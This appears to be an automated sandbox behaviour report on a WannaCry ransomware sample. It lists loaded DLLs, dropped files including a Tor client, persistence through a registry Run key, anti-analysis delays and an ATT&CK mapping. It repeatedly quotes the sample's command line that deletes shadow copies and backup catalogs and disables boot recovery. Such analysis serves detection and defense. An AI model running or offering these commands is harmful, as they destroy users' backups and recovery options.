Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: libevent-2-0-5.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: libssp-0.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: libeay32.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: ssleay32.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: zlib1.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: libssp-0.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: libgcc_s_sjlj-1.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: libgcc_s_sjlj-1.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: wkscli.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: wkscli.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: propsys.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: wkscli.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\taskdl.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: msvcp60.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: mfc42.dll
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Section loaded: urlmon.dll

Source: C:\Program Files\7-Zip\7zG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{56FDF344-FD6D-11d0-958A-006097C9A090}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\@WanaDecryptor@.exe

Window found: window name: RICHEDIT

Source: C:\Users\user\Desktop\@WanaDecryptor@.exe

File opened: C:\Windows\SysWOW64\RICHED32.DLL

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: WannaCry.bin.zip

Static file information: File size 3483686 > 1048576

Source: libeay32.dll.79.dr	Static PE information: section name: /4
Source: libeay32.dll.79.dr	Static PE information: section name: /19
Source: libeay32.dll.79.dr	Static PE information: section name: /31
Source: libeay32.dll.79.dr	Static PE information: section name: /45
Source: libeay32.dll.79.dr	Static PE information: section name: /57
Source: libeay32.dll.79.dr	Static PE information: section name: /70
Source: libeay32.dll.79.dr	Static PE information: section name: /81
Source: libeay32.dll.79.dr	Static PE information: section name: /92
Source: libevent-2-0-5.dll.79.dr	Static PE information: section name: /4
Source: libevent-2-0-5.dll.79.dr	Static PE information: section name: /19
Source: libevent-2-0-5.dll.79.dr	Static PE information: section name: /31
Source: libevent-2-0-5.dll.79.dr	Static PE information: section name: /45
Source: libevent-2-0-5.dll.79.dr	Static PE information: section name: /57
Source: libevent-2-0-5.dll.79.dr	Static PE information: section name: /70
Source: libevent-2-0-5.dll.79.dr	Static PE information: section name: /81
Source: libevent-2-0-5.dll.79.dr	Static PE information: section name: /92
Source: libevent_core-2-0-5.dll.79.dr	Static PE information: section name: /4
Source: libevent_core-2-0-5.dll.79.dr	Static PE information: section name: /19
Source: libevent_core-2-0-5.dll.79.dr	Static PE information: section name: /31
Source: libevent_core-2-0-5.dll.79.dr	Static PE information: section name: /45
Source: libevent_core-2-0-5.dll.79.dr	Static PE information: section name: /57
Source: libevent_core-2-0-5.dll.79.dr	Static PE information: section name: /70
Source: libevent_core-2-0-5.dll.79.dr	Static PE information: section name: /81
Source: libevent_core-2-0-5.dll.79.dr	Static PE information: section name: /92
Source: libevent_extra-2-0-5.dll.79.dr	Static PE information: section name: /4
Source: libevent_extra-2-0-5.dll.79.dr	Static PE information: section name: /19
Source: libevent_extra-2-0-5.dll.79.dr	Static PE information: section name: /31
Source: libevent_extra-2-0-5.dll.79.dr	Static PE information: section name: /45
Source: libevent_extra-2-0-5.dll.79.dr	Static PE information: section name: /57
Source: libevent_extra-2-0-5.dll.79.dr	Static PE information: section name: /70
Source: libevent_extra-2-0-5.dll.79.dr	Static PE information: section name: /81
Source: libevent_extra-2-0-5.dll.79.dr	Static PE information: section name: /92
Source: libgcc_s_sjlj-1.dll.79.dr	Static PE information: section name: /4
Source: libgcc_s_sjlj-1.dll.79.dr	Static PE information: section name: /19
Source: libgcc_s_sjlj-1.dll.79.dr	Static PE information: section name: /31
Source: libgcc_s_sjlj-1.dll.79.dr	Static PE information: section name: /45
Source: libgcc_s_sjlj-1.dll.79.dr	Static PE information: section name: /57
Source: libgcc_s_sjlj-1.dll.79.dr	Static PE information: section name: /70
Source: libgcc_s_sjlj-1.dll.79.dr	Static PE information: section name: /81
Source: libgcc_s_sjlj-1.dll.79.dr	Static PE information: section name: /92
Source: libssp-0.dll.79.dr	Static PE information: section name: /4
Source: libssp-0.dll.79.dr	Static PE information: section name: /19
Source: libssp-0.dll.79.dr	Static PE information: section name: /31
Source: libssp-0.dll.79.dr	Static PE information: section name: /45
Source: libssp-0.dll.79.dr	Static PE information: section name: /57
Source: libssp-0.dll.79.dr	Static PE information: section name: /70
Source: libssp-0.dll.79.dr	Static PE information: section name: /81
Source: libssp-0.dll.79.dr	Static PE information: section name: /92
Source: ssleay32.dll.79.dr	Static PE information: section name: /4
Source: ssleay32.dll.79.dr	Static PE information: section name: /19
Source: ssleay32.dll.79.dr	Static PE information: section name: /31
Source: ssleay32.dll.79.dr	Static PE information: section name: /45
Source: ssleay32.dll.79.dr	Static PE information: section name: /57
Source: ssleay32.dll.79.dr	Static PE information: section name: /70
Source: ssleay32.dll.79.dr	Static PE information: section name: /81
Source: ssleay32.dll.79.dr	Static PE information: section name: /92

Persistence and Installation Behavior

Command shell drops VBS files

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\Desktop\m.vbs

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\WannaCry.exe

File created: C:\Users\user\Documents\@WanaDecryptor@.exe

Jump to dropped file

Uses bcdedit to modify the Windows boot settings

Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\user\Desktop\WannaCry.exe	Process created: attrib.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: reg.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe

Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Downloads\@WanaDecryptor@.exe	Jump to dropped file
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	File created: C:\Users\user\Desktop\TaskData\Tor\libevent-2-0-5.dll	Jump to dropped file
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	File created: C:\Users\user\Desktop\TaskData\Tor\ssleay32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	File created: C:\Users\user\Desktop\TaskData\Tor\libgcc_s_sjlj-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	File created: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	File created: C:\Users\user\Desktop\TaskData\Tor\zlib1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Desktop\u.wnry	Jump to dropped file
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	File created: C:\Users\user\Desktop\TaskData\Tor\libevent_extra-2-0-5.dll	Jump to dropped file
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	File created: C:\Users\user\Desktop\TaskData\Tor\libssp-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Desktop\taskdl.exe	Jump to dropped file
Source: C:\Program Files\7-Zip\7zG.exe	File created: C:\Users\user\Desktop\WannaCry.bin	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Desktop\@WanaDecryptor@.exe	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Documents\@WanaDecryptor@.exe	Jump to dropped file
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	File created: C:\Users\user\Desktop\TaskData\Tor\libeay32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\Desktop\taskse.exe	Jump to dropped file
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	File created: C:\Users\user\Desktop\TaskData\Tor\tor.exe	Jump to dropped file
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	File created: C:\Users\user\Desktop\TaskData\Tor\libevent_core-2-0-5.dll	Jump to dropped file

Source: C:\Users\user\Desktop\WannaCry.exe

File created: C:\Users\user\Desktop\u.wnry

Jump to dropped file

Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\~SDCD53.tmp			Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp\~SDCD54.tmp			Jump to behavior

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run hdahtimfel691
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run hdahtimfel691

Hooking and other Techniques for Hiding and Protection

Creates files in the recycle bin to hide itself

Source: C:\Users\user\Desktop\WannaCry.exe

File created: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\~SDF73B.tmp

Jump to behavior

May use the Tor software to hide its network traffic

Source: @WanaDecryptor@.exe, 0000004F.00000003.1601937473.000000000275E000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000000.1606594759.000000000052C000.00000002.00000001.01000000.0000000D.sdmp

Source: C:\Users\user\Desktop\WannaCry.exe	Window / User API: threadDelayed 1109			Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Window / User API: threadDelayed 6307			Jump to behavior

Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TaskData\Tor\libevent_extra-2-0-5.dll	Jump to dropped file
Source: C:\Users\user\Desktop\WannaCry.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\taskse.exe	Jump to dropped file
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TaskData\Tor\libevent_core-2-0-5.dll	Jump to dropped file

Source: C:\Users\user\Desktop\WannaCry.exe TID: 5936	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 5936	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 3100	Thread sleep time: -45000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 6660	Thread sleep count: 64 > 30	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 6660	Thread sleep time: -192000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 3392	Thread sleep count: 61 > 30	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 3392	Thread sleep time: -1830000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 1980	Thread sleep count: 52 > 30	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 1980	Thread sleep time: -1560000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 4076	Thread sleep count: 1109 > 30	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 4076	Thread sleep time: -140000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 5936	Thread sleep count: 256 > 30	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 5936	Thread sleep time: -256000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 6660	Thread sleep count: 6307 > 30	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe TID: 6660	Thread sleep time: -18921000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\taskdl.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\taskdl.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\taskdl.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\taskdl.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\taskdl.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\taskdl.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\taskdl.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\taskdl.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\taskdl.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\taskdl.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\WannaCry.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Thread delayed: delay time: 30000			Jump to behavior

Source: taskhsvc.exe, 00000073.00000003.2310161809.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000002.2456824274.0000000005F19000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MIGJAoGBALxlVHyDC24hGFskNP37pw07UtREIXXVayU8CnUOp+K/DlgX8HJBmul4
Source: @WanaDecryptor@.exe, 00000052.00000002.2333463272.0000000000612000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV
Source: cscript.exe, 0000001B.00000003.1465368529.000000000062C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: taskhsvc.exe, 00000073.00000002.2347298392.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: taskhsvc.exe, 00000073.00000002.2347298392.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllQ
Source: taskhsvc.exe, 00000073.00000002.2456824274.0000000005F19000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000003.2303083561.00000000013FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ntor-onion-key 7UCiHRvZFmGpW/hkq/zXOS2WcRr5hgfsNfphYCCqnHg
Source: taskhsvc.exe, 00000073.00000002.2403162311.0000000005137000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000073.00000003.2263316082.0000000001093000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THnUCwpLWk9IsNS5IQ9PuhGfSyN1q4eb0cwCG030AGhFEgxK12y8Rq6bRLcNFnYj
Source: @WanaDecryptor@.exe, 0000004F.00000002.2332986830.0000000000604000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000055.00000003.1588441634.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\cscript.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\consent.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	Valid Accounts	1 Command and Scripting Interpreter	12 Scripting	1 DLL Side-Loading	1 DLL Side-Loading	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	111 Process Injection	1 File Deletion	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	1 Non-Standard Port	Exfiltration Over Bluetooth	1 Inhibit System Recovery
